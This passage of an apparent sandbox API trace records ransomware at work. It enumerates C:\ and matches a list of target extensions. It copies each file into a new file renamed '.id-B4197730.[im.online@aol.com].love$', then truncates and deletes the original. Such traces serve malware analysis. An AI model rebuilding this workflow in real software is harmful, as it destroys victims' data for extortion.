(lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.214] lstrlenW (lpString=".jpg") returned 4 [0123.214] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.214] lstrlenW (lpString=".doc") returned 4 [0123.214] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.214] lstrlenW (lpString=".docx") returned 5 [0123.214] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.214] lstrlenW (lpString=".pdf") returned 4 [0123.214] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.214] lstrlenW (lpString=".xls") returned 4 [0123.214] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.214] lstrlenW (lpString=".xlsx") returned 5 [0123.214] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.214] lstrlenW (lpString=".ppt") returned 4 [0123.214] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.214] lstrlenW (lpString=".zip") returned 4 [0123.214] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.214] lstrlenW (lpString=".rar") returned 4 [0123.214] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.214] lstrlenW (lpString=".bz2") returned 4 [0123.214] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.214] lstrlenW (lpString=".7z") returned 3 [0123.214] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.214] lstrlenW (lpString=".dbf") returned 4 [0123.214] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.214] lstrlenW (lpString=".1cd") returned 4 [0123.214] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0123.214] lstrlenW (lpString=".jpg") returned 4 [0123.214] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.215] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0123.215] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42 [0123.215] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0123.215] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0123.215] CloseHandle (hObject=0x3a4) returned 1 [0123.215] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0123.215] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.215] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0123.215] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.216] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.216] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0123.216] GetLastError () returned 0x0 [0123.216] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0123.219] WriteFile (in: hFile=0x340, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0123.221] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.221] WriteFile (in: hFile=0x340, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x128, lpOverlapped=0x0) returned 1 [0123.221] SetEndOfFile (hFile=0x340) returned 1 [0123.221] CloseHandle (hObject=0x340) returned 1 [0123.224] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.225] SetEndOfFile (hFile=0x3a4) returned 1 [0123.226] CloseHandle (hObject=0x3a4) returned 1 [0123.226] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0123.226] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0123.226] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.226] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.226] lstrlenW (lpString=".doc") returned 4 [0123.226] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString=".docx") returned 5 [0123.227] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.227] lstrlenW (lpString=".pdf") returned 4 [0123.227] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString=".xls") returned 4 [0123.227] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString=".xlsx") returned 5 [0123.227] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.227] lstrlenW (lpString=".ppt") returned 4 [0123.227] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.227] lstrlenW (lpString=".zip") returned 4 [0123.227] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString=".rar") returned 4 [0123.227] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString=".bz2") returned 4 [0123.227] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString=".7z") returned 3 [0123.227] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.227] lstrlenW (lpString=".dbf") returned 4 [0123.227] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.227] lstrlenW (lpString=".1cd") returned 4 [0123.227] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.227] lstrlenW (lpString=".jpg") returned 4 [0123.227] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.227] lstrlenW (lpString=".doc") returned 4 [0123.227] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.227] lstrlenW (lpString=".docx") returned 5 [0123.227] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.228] lstrlenW (lpString=".pdf") returned 4 [0123.228] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.228] lstrlenW (lpString=".xls") returned 4 [0123.228] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.228] lstrlenW (lpString=".xlsx") returned 5 [0123.228] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.228] lstrlenW (lpString=".ppt") returned 4 [0123.228] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.228] lstrlenW (lpString=".zip") returned 4 [0123.228] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.228] lstrlenW (lpString=".rar") returned 4 [0123.228] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.228] lstrlenW (lpString=".bz2") returned 4 [0123.228] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.228] lstrlenW (lpString=".7z") returned 3 [0123.228] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.228] lstrlenW (lpString=".dbf") returned 4 [0123.228] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.228] lstrlenW (lpString=".1cd") returned 4 [0123.228] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0123.228] lstrlenW (lpString=".jpg") returned 4 [0123.228] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.228] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0123.228] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56 [0123.228] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0123.229] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0123.229] CloseHandle (hObject=0x3a4) returned 1 [0123.229] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0123.229] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.229] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0123.229] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.229] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.229] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0123.230] GetLastError () returned 0x0 [0123.230] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0123.235] WriteFile (in: hFile=0x340, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0123.237] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.237] WriteFile (in: hFile=0x340, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x144, lpOverlapped=0x0) returned 1 [0123.237] SetEndOfFile (hFile=0x340) returned 1 [0123.237] CloseHandle (hObject=0x340) returned 1 [0123.240] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.240] SetEndOfFile (hFile=0x3a4) returned 1 [0123.243] CloseHandle (hObject=0x3a4) returned 1 [0123.243] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0123.244] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0123.244] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.244] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.244] lstrlenW (lpString=".doc") returned 4 [0123.244] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.244] lstrlenW (lpString=".docx") returned 5 [0123.244] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.244] lstrlenW (lpString=".pdf") returned 4 [0123.244] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.244] lstrlenW (lpString=".xls") returned 4 [0123.244] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.244] lstrlenW (lpString=".xlsx") returned 5 [0123.244] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.244] lstrlenW (lpString=".ppt") returned 4 [0123.244] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.244] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.244] lstrlenW (lpString=".zip") returned 4 [0123.244] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.244] lstrlenW (lpString=".rar") returned 4 [0123.244] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.244] lstrlenW (lpString=".bz2") returned 4 [0123.245] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString=".7z") returned 3 [0123.245] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.245] lstrlenW (lpString=".dbf") returned 4 [0123.245] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.245] lstrlenW (lpString=".1cd") returned 4 [0123.245] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.245] lstrlenW (lpString=".jpg") returned 4 [0123.245] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.245] lstrlenW (lpString=".doc") returned 4 [0123.245] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString=".docx") returned 5 [0123.245] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.245] lstrlenW (lpString=".pdf") returned 4 [0123.245] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString=".xls") returned 4 [0123.245] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString=".xlsx") returned 5 [0123.245] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.245] lstrlenW (lpString=".ppt") returned 4 [0123.245] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.245] lstrlenW (lpString=".zip") returned 4 [0123.245] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString=".rar") returned 4 [0123.245] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString=".bz2") returned 4 [0123.245] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.245] lstrlenW (lpString=".7z") returned 3 [0123.245] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.246] lstrlenW (lpString=".dbf") returned 4 [0123.246] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.246] lstrlenW (lpString=".1cd") returned 4 [0123.246] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0123.246] lstrlenW (lpString=".jpg") returned 4 [0123.246] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.246] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0123.246] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0123.246] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0123.246] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0123.246] CloseHandle (hObject=0x3a4) returned 1 [0123.246] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0123.246] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.247] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0123.247] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.247] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.247] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0123.896] GetLastError () returned 0x0 [0123.896] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0123.928] WriteFile (in: hFile=0x348, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0123.930] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.930] WriteFile (in: hFile=0x348, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x12c, lpOverlapped=0x0) returned 1 [0123.931] SetEndOfFile (hFile=0x348) Thread: id = 14 os_tid = 0xf58 [0093.446] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3810938 [0093.446] lstrlenW (lpString="C:") returned 2 [0093.446] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x4c9798 [0093.447] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0093.447] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0093.447] lstrlenW (lpString="$GetCurrent") returned 11 [0093.447] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0093.447] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3820940 [0093.448] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0093.448] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4c9858 [0093.475] FindNextFileW (in: hFindFile=0x4c9858, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0093.476] FindNextFileW (in: hFindFile=0x4c9858, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0093.476] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0093.476] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0093.476] lstrlenW (lpString="Logs") returned 4 [0093.476] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0093.476] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0093.477] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0093.477] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50500 [0093.485] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 